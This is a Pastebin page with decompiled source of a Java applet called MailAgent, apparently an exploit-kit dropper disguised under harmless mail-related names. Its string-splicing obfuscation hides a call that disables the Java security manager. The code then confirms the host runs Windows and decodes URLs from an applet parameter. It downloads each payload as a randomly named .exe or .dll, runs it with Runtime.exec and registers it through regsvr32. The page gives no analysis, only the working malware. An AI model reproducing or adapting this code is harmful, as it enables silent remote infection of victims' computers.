Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov Date: 9/15/2011 6:13:24 PM
- // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version!
- // Decompiler options: packimports(3)
- // Source File Name: MailAgent.java
- package mail;
- import java.applet.Applet;
- import java.beans.Expression;
- import java.io.*;
- import java.lang.reflect.Method;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.util.HashSet;
- import javax.swing.JList;
- // Referenced classes of package mail:
- // ClassId, VirtualTable, Cid
- public class MailAgent extends Applet
- {
- public MailAgent()
- {
- BASE_DIR = (new StringBuffer(".so")).reverse().append("na".concat("me")).toString();
- thread = "sv.d".concat("ll").substring(2);
- pkill = "o4v.e".concat("xe").substring(3);
- informer = new HashSet();
- String tmps = "set" + "dfb7szgbhSecuri".substring(9) + "ty".concat("db43M".substring(4)) + "3hl3banager".substring(5);
- informer.add(new ClassId(java/lang/System, tmps, new Object[1]));
- Expression api = new Expression(java/lang/System, tmps, new Object[1]);
- addressList = new JList(new Object[] {
- new VirtualTable(this, informer)
- });
- add(addressList);
- }
- public void upload()
- {
- super.start();
- FileOutputStream f = null;
- String mailto = "aDL".concat("Xq-_.".concat("mjnWN6f".concat("wcsK".concat("B?xbI".concat("TS=Cy".concat("kGvd".concat("91Z:".concat("%ElR5".concat("po0rz".concat("A8/JY".concat("P72#".concat("ue&t4".concat("iQFhV".concat("U3OM".concat("gH")))))))))))))));
- InputStream c = null;
- String incPath = (new StringBuffer("dniW")).reverse().append("kiows".substring(2)).toString();
- URL unicodeFormat = null;
- String version = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
- if(System.getProperty(BASE_DIR).indexOf(incPath) < 0)
- return;
- Runtime form = Runtime.getRuntime();
- String chars[] = VirtualTable.transfer(version, mailto, getParameter("p")).split("::");
- for(int p = 0; p < chars.length; p++)
- {
- double rdm = Math.random();
- try
- {
- unicodeFormat = new URL(chars[p]);
- }
- catch(MalformedURLException ex)
- {
- return;
- }
- String fprm = Double.toString(rdm).concat(chars[p].contains(thread) ? thread : pkill);
- try
- {
- f = new FileOutputStream(fprm);
- }
- catch(FileNotFoundException ex)
- {
- return;
- }
- try
- {
- c = unicodeFormat.openStream();
- }
- catch(IOException ex)
- {
- return;
- }
- Cid.move(c, f);
- try
- {
- c.close();
- }
- catch(IOException ex)
- {
- return;
- }
- try
- {
- f.close();
- }
- catch(IOException ex)
- {
- return;
- }
- checkArgs(10, fprm, form);
- }
- }
- public void start()
- {
- upload();
- }
- public void checkArgs(int val, String str, Object o)
- {
- try
- {
- Method rr = o.getClass().getMethod("e".concat("xec"), new Class[] {
- java/lang/String
- });
- try
- {
- rr.invoke(o, new Object[] {
- str
- });
- }
- catch(Exception exception1) { }
- try
- {
- rr.invoke(o, new Object[] {
- "re".concat("gsv".concat("r32 -s \"")).concat(str.concat("\""))
- });
- }
- catch(Exception exception2) { }
- }
- catch(Exception exception) { }
- }
- public static boolean validForm(Method m, Object form, Object args[])
- {
- try
- {
- m.invoke(form, args);
- }
- catch(Exception exception) { }
- return true;
- }
- private int mail_id;
- protected JList addressList;
- private String BASE_DIR;
- private String thread;
- protected String pkill;
- protected HashSet informer;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement